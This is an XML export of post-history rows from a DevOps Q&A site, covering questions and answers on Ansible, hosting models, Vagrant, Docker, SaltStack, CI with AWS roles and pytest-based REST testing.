  <row Id="17824" PostHistoryTypeId="2" PostId="5595" RevisionGUID="f1f950f2-650b-41a4-be81-8c1648dbbcc3" CreationDate="2018-12-03T16:14:29.870" UserDisplayName="user5176" Text="Say I use an [IaaS][1] cloud on which I installed Ubuntu 18.04 manually via the cloud company's OS installation tool and I ought to establish an all-ansible LAMP environment that will include some more stuff besides Apache, MySQL, and PHP (like `php-cli, php-curl php-mbstring, php-mcrypt, php-gd, Certbot, ssmtp **and so forth**) -- all installed with Ansible as well, of course.&#xD;&#xA;&#xD;&#xA;So far so good, but what if after 4 or 8 or 12 years Ubuntu becomes too old for a newer version of **whatever software** I installed with Ansible and also and constantly being upgraded by Ansible?&#xD;&#xA;&#xD;&#xA;How Ansible itself deals with such a rare conflict, does it usually do some &quot;rollback&quot; to a &quot;previous state&quot; (just like an autosave and autoload for video games) and also stops to work until I myself decide if I want to remove this particular software (or softwares) that cause trouble and then start the Ansible process again?&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Infrastructure_as_a_service" ContentLicense="CC BY-SA 4.0" />
  <row Id="17825" PostHistoryTypeId="1" PostId="5595" RevisionGUID="f1f950f2-650b-41a4-be81-8c1648dbbcc3" CreationDate="2018-12-03T16:14:29.870" UserDisplayName="user5176" Text="What Ansible does in cases there's a conflict between some software installed with it --- and some custom software?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17826" PostHistoryTypeId="3" PostId="5595" RevisionGUID="f1f950f2-650b-41a4-be81-8c1648dbbcc3" CreationDate="2018-12-03T16:14:29.870" UserDisplayName="user5176" Text="&lt;ansible&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17827" PostHistoryTypeId="4" PostId="5595" RevisionGUID="4b3b306f-2a76-4cf5-ad68-e73322393d31" CreationDate="2018-12-03T16:47:36.933" UserDisplayName="user5176" Comment="edited title" Text="What Ansible does in cases there's a conflict between OS version and some software Ansible manages?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17829" PostHistoryTypeId="2" PostId="5597" RevisionGUID="6fd60308-72ef-4db5-9d4d-e69d79c4cd43" CreationDate="2018-12-03T17:43:31.257" UserId="228" Text="Ansible is at its core a programming language - a meta programming language written in python compiling itself into python and shell scripts mostly. It will do whatever you program it to do. It all depends on how your roles and playbooks are written. It certainly can be done - almost anything can be done - your install roles could track dependencies on package versions or ranges, obviously those might need to be updated over the years, but you can be safe if you put the work into it.&#xD;&#xA;&#xD;&#xA;It is probably unreasonable to plan further than the [End of Life][1] of the LTS distribution though, as you will fail to receive new security updates and that instantly invalidates the system as production ready.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ubuntu.com/about/release-cycle" ContentLicense="CC BY-SA 4.0" />
  <row Id="17830" PostHistoryTypeId="5" PostId="5595" RevisionGUID="a9e8745e-4b76-436e-8c3d-7c3f5e322c6a" CreationDate="2018-12-03T19:45:14.513" UserDisplayName="user5176" Comment="added 62 characters in body" Text="Say I use an [IaaS][1] cloud on which I installed Ubuntu 18.04 manually via the cloud company's OS installation tool and I ought to establish an all-ansible LAMP environment that will include some more stuff besides Apache, MySQL, and PHP (like `php-cli, php-curl php-mbstring, php-mcrypt, php-gd, Certbot, ssmtp **and so forth**) -- all installed with Ansible as well, of course.&#xD;&#xA;&#xD;&#xA;So far so good, but what if after 4 or 8 or 12 years the particular Ubuntu rlease (18.04) becomes too old for a newer version of **whatever software** I installed with Ansible and also and constantly being upgraded by Ansible?&#xD;&#xA;&#xD;&#xA;How Ansible itself deals with such a rare (?) conflict, does it usually do some &quot;rollback&quot; to a &quot;previous state&quot; (just like an autosave and autoload for video games) and also stops to work (and maybe also prompts me) until I myself decide if I want to remove this particular software (or softwares) that cause trouble and then start the Ansible process again?&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Infrastructure_as_a_service" ContentLicense="CC BY-SA 4.0" />
  <row Id="17831" PostHistoryTypeId="2" PostId="5598" RevisionGUID="92aec056-e00f-4244-8901-af10c3fd34eb" CreationDate="2018-12-03T20:32:27.057" UserDisplayName="user5176" Text="Say I rent a DigitalOcean 20$ &quot;VPS environment&quot; (IaaS) or a SiteGround 10$ &quot;shared-hosting environment&quot; (PaaS). &#xD;&#xA;&#xD;&#xA;As far as I know, in both cases **I share hardware** with other customers (both constellations aren't &quot;dedicated&quot; - either dedicated &quot;on-perm&quot; or dedicated in any other hosting model).&#xD;&#xA;&#xD;&#xA;From what I just described, I get the impression that the notion of a &quot;shared hosting environment versus a VPS environment&quot; is misleading because in both cases there is direct sharing of one system (one hardware system - &quot;shared&quot; or &quot;VPS&quot;). &#xD;&#xA;&#xD;&#xA;Hence I ask, is it true to say that both a &quot;shared server environment &quot; and a &quot;VPS environment&quot; can be either IaaS or PaaS?&#xD;&#xA;&#xD;&#xA;https://i.stack.imgur.com/SSef7.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/tXZkt.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="17832" PostHistoryTypeId="1" PostId="5598" RevisionGUID="92aec056-e00f-4244-8901-af10c3fd34eb" CreationDate="2018-12-03T20:32:27.057" UserDisplayName="user5176" Text="Is it true to say that both a &quot;shared server environment &quot; and a &quot;VPS environment&quot; can be either IaaS or PaaS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17833" PostHistoryTypeId="3" PostId="5598" RevisionGUID="92aec056-e00f-4244-8901-af10c3fd34eb" CreationDate="2018-12-03T20:32:27.057" UserDisplayName="user5176" Text="&lt;automation&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17834" PostHistoryTypeId="2" PostId="5599" RevisionGUID="c2e9c00f-1fbb-4d68-abac-85071d8060fe" CreationDate="2018-12-03T20:57:24.843" UserDisplayName="user5176" Text="My entire reading on this brought me to the conclusion that yes, both are PaaS, but what's commonly called &quot;shared hosting plan&quot; differs from what's commonly called a &quot;VPS hosting plan&quot; in the fact that **the webserver (and maybe also email server)** are shared - the rest isn't." ContentLicense="CC BY-SA 4.0" />
  <row Id="17835" PostHistoryTypeId="2" PostId="5600" RevisionGUID="2ad1bc9c-9c12-4074-a098-1f327d49fceb" CreationDate="2018-12-03T21:44:31.577" UserDisplayName="user5176" Text="If Vagrant (and similar software) uses to orchestrate, install and continuously upgrade one or more OSs on a single machine, isn't it some kind of an operating system by itself?&#xD;&#xA;&#xD;&#xA;Or it actually virtualizes an OS **on top of an existing OS** and doesn't operate as an OS by itself?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17836" PostHistoryTypeId="1" PostId="5600" RevisionGUID="2ad1bc9c-9c12-4074-a098-1f327d49fceb" CreationDate="2018-12-03T21:44:31.577" UserDisplayName="user5176" Text="Is Vagrant an operating system by itself?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17837" PostHistoryTypeId="3" PostId="5600" RevisionGUID="2ad1bc9c-9c12-4074-a098-1f327d49fceb" CreationDate="2018-12-03T21:44:31.577" UserDisplayName="user5176" Text="&lt;vagrant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17839" PostHistoryTypeId="2" PostId="5601" RevisionGUID="af2ff8ef-8cc0-4bd9-83b0-afbd6e1677a5" CreationDate="2018-12-03T22:18:25.813" UserId="9012" Text="No, Vagrant is a tool for creating virtual environment, which it then can run inside a virtual machine (originally only using Virtualbox, but nowadays also KVM and VMware among others).&#xD;&#xA;&#xD;&#xA;The environment created by Vagrant is, however, a fully virtualized OS (e.g. Ubuntu)." ContentLicense="CC BY-SA 4.0" />
  <row Id="17840" PostHistoryTypeId="5" PostId="5601" RevisionGUID="6cf25a76-3732-48aa-8100-01d32b8d0ec8" CreationDate="2018-12-03T22:32:57.970" UserId="9012" Comment="grammar" Text="No, Vagrant is a tool for creating virtual environments, which it then can run inside a virtual machine (originally only using Virtualbox, but nowadays also KVM and VMware among others).&#xD;&#xA;&#xD;&#xA;The environment created by Vagrant is, however, a fully virtualized OS (e.g. Ubuntu)." ContentLicense="CC BY-SA 4.0" />
  <row Id="17841" PostHistoryTypeId="5" PostId="5599" RevisionGUID="8c7e6fe7-a295-475e-9015-1a3186aaa95d" CreationDate="2018-12-03T22:45:38.507" UserDisplayName="user5176" Comment="added 27 characters in body" Text="I conclude that yes, both are PaaS, but what's commonly called &quot;shared hosting plan&quot; differs from what's commonly called a &quot;VPS hosting plan&quot; in the fact that in the former, **servers** (web/email) are shared by all users (that is, they process data transfer by from requests / as responses) for all users." ContentLicense="CC BY-SA 4.0" />
  <row Id="17842" PostHistoryTypeId="50" PostId="3575" RevisionGUID="2dbad26a-7a5e-4096-a11f-a8a94f12439d" CreationDate="2018-12-03T23:01:50.373" UserId="-1" />
  <row Id="17843" PostHistoryTypeId="2" PostId="5602" RevisionGUID="6cccd6ce-5796-4a78-879b-1e7d5d6f9e72" CreationDate="2018-12-04T00:39:20.200" UserDisplayName="user5176" Text="Basic plans in IaaS host-providers like DigitalOcean and Linode are usually fixed-priced and basic plans in PaaS host-providers like Microsoft Azure or Amazon Web Services are usually dynamically-priced.&#xD;&#xA;&#xD;&#xA;Why are IaaS hosting services are usually fixed-priced and PaaS are usually dynamically-priced?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17844" PostHistoryTypeId="1" PostId="5602" RevisionGUID="6cccd6ce-5796-4a78-879b-1e7d5d6f9e72" CreationDate="2018-12-04T00:39:20.200" UserDisplayName="user5176" Text="Why are IaaS hosting services are usually fixed-priced and PaaS are usually dynamically-priced?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17845" PostHistoryTypeId="3" PostId="5602" RevisionGUID="6cccd6ce-5796-4a78-879b-1e7d5d6f9e72" CreationDate="2018-12-04T00:39:20.200" UserDisplayName="user5176" Text="&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17850" PostHistoryTypeId="2" PostId="5604" RevisionGUID="b795990f-42d7-4a5f-a7a1-ce641c0b4ed8" CreationDate="2018-12-04T08:11:29.577" UserId="8251" Text="Fixed price tiered billing is an older billing model that suits a monthly billing cycle where usually the level of resources provided  does not change over a month. Even if it is changed, this was usually met with friction from the billing department in form of the higher pricing tier being applied to the whole month.&#xA;&#xA;By comparison AWS can be credited as the first provider to offer simple building blocks on an hourly basis (now per second). This allows for much more sophisticated usage of resources in form of&#xA;&#xA; &#xA; &#xA; - auto scaling to the best amount of resources required&#xA; &#xA; &#xA; - turn services off out of hours or until turned on manually&#xA; &#xA; - ultimately to offering functions as a service, the most finegrainerld resource billing usage available. &#xA;&#xA;&#xA;So I don't see these two items as being directly comparable, but one is a progression from the other&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17851" PostHistoryTypeId="2" PostId="5605" RevisionGUID="ebd77e89-3ebc-4041-a54e-b13f7e663fde" CreationDate="2018-12-04T08:27:03.477" UserId="10985" Text="I have a web app consisting of multiple services (authentication service, database, main web app..), and each of these services can run in container.&#xD;&#xA;&#xD;&#xA;Currently, when a customer ask for a demo, I am creating and running new instance of these containers on new open ports.&#xD;&#xA;&#xD;&#xA;But, it seems like this is not the right way to do, because each container is just consuming 1 GB RAM of my host machine (currently total 32 GB), even it is not used by anyone.&#xD;&#xA;&#xD;&#xA;What is your suggestions and is there any on hand solutions for this scenario? &#xD;&#xA;What should I research to find a solution for my need." ContentLicense="CC BY-SA 4.0" />
  <row Id="17852" PostHistoryTypeId="1" PostId="5605" RevisionGUID="ebd77e89-3ebc-4041-a54e-b13f7e663fde" CreationDate="2018-12-04T08:27:03.477" UserId="10985" Text="Proper way to showcase multi-container web app to customers" ContentLicense="CC BY-SA 4.0" />
  <row Id="17853" PostHistoryTypeId="3" PostId="5605" RevisionGUID="ebd77e89-3ebc-4041-a54e-b13f7e663fde" CreationDate="2018-12-04T08:27:03.477" UserId="10985" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17854" PostHistoryTypeId="2" PostId="5606" RevisionGUID="a77cf218-d43e-4c97-83f5-8b48e648d823" CreationDate="2018-12-04T09:11:15.077" UserId="354" Text="You mention that you are demonstrating this for a customer. The first question you should ask yourself (or, more pertinently, the customer) is :&#xD;&#xA;&#xD;&#xA;&gt; what does this customer really want?&#xD;&#xA;&#xD;&#xA;Why have they come to you for this work? What is the pain they are currently feeling, what value are you providing to them.&#xD;&#xA;&#xD;&#xA;Then, compare and contrast - show them the delta that your solution brings to them.&#xD;&#xA;&#xD;&#xA;  - It may be for example that they want to maintain a legacy application, but upgrade the hardware or underlying components ? In that case, show them how you have contained them with no negative experience to their users.&#xD;&#xA;  - It may be that they need to scale the capacity for usage of their application   - they want to be able to meet demand elastically. Show them how by deploying in a container setup, you can scale out.&#xD;&#xA;  - It may be that they need four nines reliability - show them that you can have an easier HA setup - knock out one of the instances and prove that the application still works.&#xD;&#xA;  - It may be that they want faster delivery with no little impact on quality. Show that your delivery pipeline works smoothly with some automated tests and QA, with delivery and deployment.&#xD;&#xA;&#xD;&#xA;TL;DR : Find out what your customer wants. Demonstrate the existing way of doing things. Compare it with the &quot;new&quot; way, and highlight the delta." ContentLicense="CC BY-SA 4.0" />
  <row Id="17855" PostHistoryTypeId="2" PostId="5607" RevisionGUID="7f5069e9-2389-468c-9b15-2460c0d1f6a7" CreationDate="2018-12-04T09:33:50.537" UserId="707" Text="Imagine a multi tenant environment using a CI (e.g. GitLab but can be any other) and AWS as vackend for test infrastructure.&#xD;&#xA;&#xD;&#xA;With fixed users, it is easy: save credentials as secrets.&#xD;&#xA;&#xD;&#xA;But what if you use federated roles, where STS credentials need to be auto refreshed every 12 hours?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17856" PostHistoryTypeId="1" PostId="5607" RevisionGUID="7f5069e9-2389-468c-9b15-2460c0d1f6a7" CreationDate="2018-12-04T09:33:50.537" UserId="707" Text="How to untegrate CI with federated AWS IAM roles?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17857" PostHistoryTypeId="3" PostId="5607" RevisionGUID="7f5069e9-2389-468c-9b15-2460c0d1f6a7" CreationDate="2018-12-04T09:33:50.537" UserId="707" Text="&lt;amazon-web-services&gt;&lt;continuous-integration&gt;&lt;automation&gt;&lt;interoperability&gt;&lt;complexity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17858" PostHistoryTypeId="5" PostId="5607" RevisionGUID="0a35eb1f-95c7-4424-a64c-8cece0e42676" CreationDate="2018-12-04T09:40:12.387" UserId="707" Comment="added 2 characters in body" Text="Imagine a multi tenant environment using a CI (e.g. GitLab but can be any other) and AWS as a backend for test infrastructure.&#xD;&#xA;&#xD;&#xA;With fixed users, it is easy: save credentials as secrets.&#xD;&#xA;&#xD;&#xA;But what if you use federated roles, where STS credentials need to be auto refreshed every 12 hours?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17860" PostHistoryTypeId="10" PostId="5524" RevisionGUID="d85ff938-47b7-48ba-b4a0-29545844dddc" CreationDate="2018-12-04T10:13:21.907" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:960,&quot;DisplayName&quot;:&quot;Xiong Chiamiov&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="17862" PostHistoryTypeId="10" PostId="5507" RevisionGUID="d3e4dd0e-9bc1-4471-947d-52641863dde1" CreationDate="2018-12-04T10:16:22.850" UserId="13" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="17863" PostHistoryTypeId="4" PostId="5607" RevisionGUID="baff365e-7cda-489e-a1c0-81ea3f6dc0e9" CreationDate="2018-12-04T11:25:03.513" UserId="707" Comment="edited title" Text="How to integrate CI with federated AWS IAM roles?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17864" PostHistoryTypeId="5" PostId="5598" RevisionGUID="8c51cc3d-9ca8-4915-a6f2-a7dfd5f448ce" CreationDate="2018-12-04T11:29:17.120" UserDisplayName="user5176" Comment="deleted 39 characters in body" Text="Say I rent a DigitalOcean 20$ &quot;VPS environment&quot; (IaaS) or a SiteGround 10$ &quot;shared-hosting environment&quot; (PaaS). &#xD;&#xA;&#xD;&#xA;As far as I know, in both cases **I share hardware** with other customers (both constellations aren't &quot;dedicated&quot; - either dedicated &quot;on-perm&quot; or dedicated in any other hosting model).&#xD;&#xA;&#xD;&#xA;From what I just described, I get the impression that the notion of a &quot;shared hosting environment versus a VPS environment&quot; is misleading because in both cases there is direct sharing of one system (one hardware system - &quot;shared&quot; or &quot;VPS&quot;). &#xD;&#xA;&#xD;&#xA;Hence I ask, is it true to say that both a &quot;shared server environment &quot; and a &quot;VPS environment&quot; can be either IaaS or PaaS?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/tXZkt.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="17865" PostHistoryTypeId="5" PostId="5599" RevisionGUID="79d994ed-faba-4a08-a27d-039cecd61e29" CreationDate="2018-12-04T11:30:29.047" UserDisplayName="user5176" Comment="added 44 characters in body" Text="I conclude that yes, both are PaaS, but what's commonly called &quot;shared hosting plan&quot; differs from what's commonly called a &quot;VPS hosting plan&quot; in the fact that in the former, **servers** (web/email) are shared by all users; that is, they process data transfer (by the form of requests and responses), for all users instead for just one user as in VPS." ContentLicense="CC BY-SA 4.0" />
  <row Id="17866" PostHistoryTypeId="5" PostId="5605" RevisionGUID="2a1a8888-a7eb-4998-910c-2e1eaf660e7c" CreationDate="2018-12-04T12:47:41.780" UserId="10985" Comment="edit regarding comments" Text="I have a web app consisting of multiple services (authentication service, database, main web app..), and each of these services can run in container.&#xD;&#xA;&#xD;&#xA;Currently, when a customer ask for a demo, I am creating and running new instance of these containers on new open ports.&#xD;&#xA;&#xD;&#xA;But, it seems like this is not the right way to do, because each container is just consuming 1 GB RAM of my host machine (currently total 32 GB), even it is not used by anyone.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What is your suggestions and is there any on hand solutions for this scenario? &#xD;&#xA;What should I research to find a solution for my need.&#xD;&#xA;&#xD;&#xA;Edit regarding comments: &#xD;&#xA;&#xD;&#xA; - Firstly, it is not a laptop :), It is just a VM on Azure(32GB and 4 CPU),&#xD;&#xA;   actually, yes,  it's like laptop :(&#xD;&#xA; - My customers want to (actually I want) test/evaluate my app without any installation, just filling a demo request form and then I will send them a mail to say &quot;*your main web app is running on http://somehost:someport, you can use it now!*&quot;&#xD;&#xA; - Currently, i can perform the situation mentioned above, and someone who wants to use my app can use it. But it is not efficient.(???)&#xD;&#xA; - You mention swarm/kubernates, So my main question is that; Is solution for my need is should be using swarm? If yes, How? is there an best practice approach you can share with me?&#xD;&#xA;&#xD;&#xA;Now I will search on how to make my own SaaS system:)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17867" PostHistoryTypeId="5" PostId="2614" RevisionGUID="dc08bc71-dd3c-4a6f-8b7b-08a5ec9019ce" CreationDate="2018-12-04T13:21:25.477" UserId="519" Comment="spelling etc" Text="You could look at tools such as [Postman](https://www.getpostman.com/) which focuses on testing REST APIs with JavaScript - it has some nice features but you lose the use of Python.&#xD;&#xA;&#xD;&#xA;Instead, I'd suggest looking at REST-related plugins for [pytest](https://docs.pytest.org/en/latest/), a Python test framework that simplifies your test code, while still running tests written using `unittest`. &#xD;&#xA;&#xD;&#xA;- For example, writing [parameterised tests](http://pythontesting.net/framework/pytest/pytest-fixtures-nuts-bolts/#real) avoids boring and error-prone duplicate test code.&#xD;&#xA;&#xD;&#xA;Pytest has a huge set of plugins that simplify various tasks, including:&#xD;&#xA;&#xD;&#xA;- [Tavern](https://taverntesting.github.io/), which specialises in testing REST APIs and seems highly relevant here - sort of &quot;Postman for Python unit tests&quot;. &#xD;&#xA;&#xD;&#xA;- [pytest-curl-report](https://pypi.python.org/pypi/pytest-curl-report) - when  testing with the `requests` library, will print a `curl` command you can use to reproduce the error from shell. &#xD;&#xA;&#xD;&#xA;- [Testinfra](https://testinfra.readthedocs.io/en/latest/) - focuses on server testing (e.g. state of OS packages, files, processes, etc, usually tested on remote servers) - strongly recommended if you also need this type  e.g. to test Ansible code.&#xD;&#xA;   - For those who use Puppet or Chef, Testinfra is similar to Beaker (with RSpec), ServerSpec or InSpec.&#xD;&#xA;&#xD;&#xA;If you don't like Tavern, you can of course use `pycurl` with `pytest`, which makes it easier to diagnose exactly what failed. This example from the [pytest-curl-report site](https://pypi.python.org/pypi/pytest-curl-report) uses only generic pytest features:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ py.test test.py&#xD;&#xA;    ============================= test session starts ==============================&#xD;&#xA;    platform darwin -- Python 2.7.9 -- py-1.4.27 -- pytest-2.6.4&#xD;&#xA;    plugins: curl-report, httpbin, cache, capturelog, cov, flakes, pep8&#xD;&#xA;    collected 1 items&#xD;&#xA;    &#xD;&#xA;    test.py F&#xD;&#xA;    &#xD;&#xA;    =================================== FAILURES ===================================&#xD;&#xA;    ______________________________ test_requests_get _______________________________&#xD;&#xA;    &#xD;&#xA;        def test_requests_get():&#xD;&#xA;            r = requests.get('http://httpbin.org/get')&#xD;&#xA;    &gt;       assert False&#xD;&#xA;    E       assert False&#xD;&#xA;    &#xD;&#xA;    test.py:7: AssertionError&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Pytest lets you write all tests with a plain `assert`, and optionally include a helpful message as part of the output.  For example, one of your tests could be written:&#xD;&#xA;&#xD;&#xA;    def test_2():&#xD;&#xA;        assert pycurl.response(&quot;some_url&quot;).matches (&quot;xxx&quot;), &quot;xxx not found in response&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17878" PostHistoryTypeId="2" PostId="5611" RevisionGUID="a9e2d111-b476-4e67-80e3-432dd9e11d90" CreationDate="2018-12-04T14:36:45.837" UserId="11179" Text="I have a docker image on my system `12346789ABCD`.&#xD;&#xA;&#xD;&#xA;Is there a way to know where it is coming from?&#xD;&#xA;&#xD;&#xA;Specifically, I would like to know if it was built locally or downloaded from a repository, and in that latter case, downloaded from which repository.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17879" PostHistoryTypeId="1" PostId="5611" RevisionGUID="a9e2d111-b476-4e67-80e3-432dd9e11d90" CreationDate="2018-12-04T14:36:45.837" UserId="11179" Text="How to know where a docker image come from?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17880" PostHistoryTypeId="3" PostId="5611" RevisionGUID="a9e2d111-b476-4e67-80e3-432dd9e11d90" CreationDate="2018-12-04T14:36:45.837" UserId="11179" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17881" PostHistoryTypeId="2" PostId="5612" RevisionGUID="f9bbd449-2c83-4cf0-ab15-7ac9a43cd946" CreationDate="2018-12-04T16:13:40.463" UserId="10712" Text="I am using saltstack state pattern and replace to match a pattern and replace with a new pattern. My init.sls file executes below:&#xD;&#xA;&#xD;&#xA;    `modify_script.sh:&#xD;&#xA;       file.replace:&#xD;&#xA;          - name: /path/to/script.sh&#xD;&#xA;          - pattern: /aaa/bbb&#xD;&#xA;          - repl: /aaa/ccc&#xD;&#xA;          - pattern: /xxx/yyy&#xD;&#xA;          - repl: /xxx/zzz`&#xD;&#xA;&#xD;&#xA;The above works good if I use a single pattern and replace. This fails for multiple patterns and replaces as shown above. How to achieve multiple pattern replace for two or more patterns in a single file?&#xD;&#xA;&#xD;&#xA;Secondly, I have multiple files in a directory which requires a pattern match and replace. &#xD;&#xA;&#xD;&#xA;`modify_script.sh:&#xD;&#xA;       file.replace:&#xD;&#xA;          - name: /path/to/dir [having multiple files which require update]&#xD;&#xA;          - pattern: /aaa/bbb&#xD;&#xA;          - repl: /aaa/ccc`&#xD;&#xA;&#xD;&#xA;Can I match the patterns for all the files under directory? I wouldn't want to match and replace a single file individually. &#xD;&#xA;Please advise.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17882" PostHistoryTypeId="1" PostId="5612" RevisionGUID="f9bbd449-2c83-4cf0-ab15-7ac9a43cd946" CreationDate="2018-12-04T16:13:40.463" UserId="10712" Text="SaltStack states pattern and replace for multiple files under directory and for multiple line matches" ContentLicense="CC BY-SA 4.0" />
  <row Id="17883" PostHistoryTypeId="3" PostId="5612" RevisionGUID="f9bbd449-2c83-4cf0-ab15-7ac9a43cd946" CreationDate="2018-12-04T16:13:40.463" UserId="10712" Text="&lt;salt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17884" PostHistoryTypeId="2" PostId="5613" RevisionGUID="be9488e9-4c55-4593-b9bc-de2fa57ba658" CreationDate="2018-12-04T16:57:45.150" UserId="11179" Text="For demonstration purposes, I would like to kill the process with PID 1 from inside a container. But apparently, `kill 1` doesn't work:&#xD;&#xA;&#xD;&#xA;    $ sudo docker run -it centos&#xD;&#xA;    [root@3752d3a44f10 /]# ps&#xD;&#xA;      PID TTY          TIME CMD&#xD;&#xA;        1 pts/0    00:00:00 bash&#xD;&#xA;       15 pts/0    00:00:00 ps&#xD;&#xA;    [root@3752d3a44f10 /]# kill 1&#xD;&#xA;    [root@3752d3a44f10 /]# &lt;-- shell is still running&#xD;&#xA;&#xD;&#xA;Is there a way to explicitly kill the process with PID 1 from inside a container? How?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17885" PostHistoryTypeId="1" PostId="5613" RevisionGUID="be9488e9-4c55-4593-b9bc-de2fa57ba658" CreationDate="2018-12-04T16:57:45.150" UserId="11179" Text="How to explicitly kill the process with PID 1 from inside a container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17886" PostHistoryTypeId="3" PostId="5613" RevisionGUID="be9488e9-4c55-4593-b9bc-de2fa57ba658" CreationDate="2018-12-04T16:57:45.150" UserId="11179" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17887" PostHistoryTypeId="5" PostId="5613" RevisionGUID="7e413dc5-c230-4c47-b6a9-4da5804306aa" CreationDate="2018-12-04T17:14:27.670" UserId="11179" Comment="added 79 characters in body" Text="For demonstration purposes, I would like to kill the process with PID 1 from inside a container. But apparently, `kill 1` doesn't work:&#xD;&#xA;&#xD;&#xA;    $ sudo docker run -it centos&#xD;&#xA;    [root@3752d3a44f10 /]# ps&#xD;&#xA;      PID TTY          TIME CMD&#xD;&#xA;        1 pts/0    00:00:00 bash&#xD;&#xA;       15 pts/0    00:00:00 ps&#xD;&#xA;    [root@3752d3a44f10 /]# kill 1&#xD;&#xA;    [root@3752d3a44f10 /]# kill -9 1&#xD;&#xA;    [root@3752d3a44f10 /]# kill -SEGV 1&#xD;&#xA;    [root@3752d3a44f10 /]# &lt;-- shell is still running&#xD;&#xA;&#xD;&#xA;Is there a way to explicitly kill the process with PID 1 from inside a container? How?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17888" PostHistoryTypeId="5" PostId="5604" RevisionGUID="0816dc4c-9478-40cc-b3f4-ad6fb1fd42fe" CreationDate="2018-12-04T17:38:43.650" UserId="40" Comment="deleted 3 characters in body" Text="Fixed price tiered billing is an older billing model that suits a monthly billing cycle where usually the level of resources provided does not change over a month. Even if it is changed, this is usually met with friction from the billing department in form of the higher pricing tier being applied to the whole month.&#xD;&#xA;&#xD;&#xA;By comparison AWS can be credited as the first provider to offer simple building blocks on an hourly basis (now per second). This allows for much more sophisticated usage of resources in form of:&#xD;&#xA; &#xD;&#xA; - auto scaling to the best amount of resources required.&#xD;&#xA; - turn services off out of hours or until turned on manually.&#xD;&#xA; - ultimately to offering functions as a service, the most finegrainerld resource billing usage available.&#xD;&#xA;&#xD;&#xA;So I don't see these two items as being directly comparable, but one is a progression from the other." ContentLicense="CC BY-SA 4.0" />
  <row Id="17889" PostHistoryTypeId="2" PostId="5614" RevisionGUID="8b124556-9c59-4d76-ace4-ef0c302d5ee2" CreationDate="2018-12-04T18:23:39.040" UserId="354" Text="Typically, if it's from a registry, you see that in the name of the image (if it's not from the default registry, Docker Hub). Images from Quay look like `quay.io/&lt;namespace&gt;/&lt;image name&gt;:&lt;tag&gt;`. &#xD;&#xA;&#xD;&#xA;Some images are from _from_ anywhere else at all. For example images that are `FROM: scratch` and images created via `docker import` will not be associated with any registry. These are the famous `none:none` images (no repository and no tag). In this case, you only have the ID (SHA) and you need do be Sherlock Holmes (or Jessie Frazelle) to match it with something.&#xD;&#xA;&#xD;&#xA;So, you can only see what is written in the manifest. Should you trust it? The manifest can be signed, using [docker content trust](https://docs.docker.com/engine/security/trust/content_trust/) even if the image contents themselves are not.  If you need more certainty on the provenance, you probably need [notary ](https://github.com/theupdateframework/notary) to ensure that trust is maintained throughout the delegation chain.&#xD;&#xA;&#xD;&#xA;Hope that answers the question." ContentLicense="CC BY-SA 4.0" />
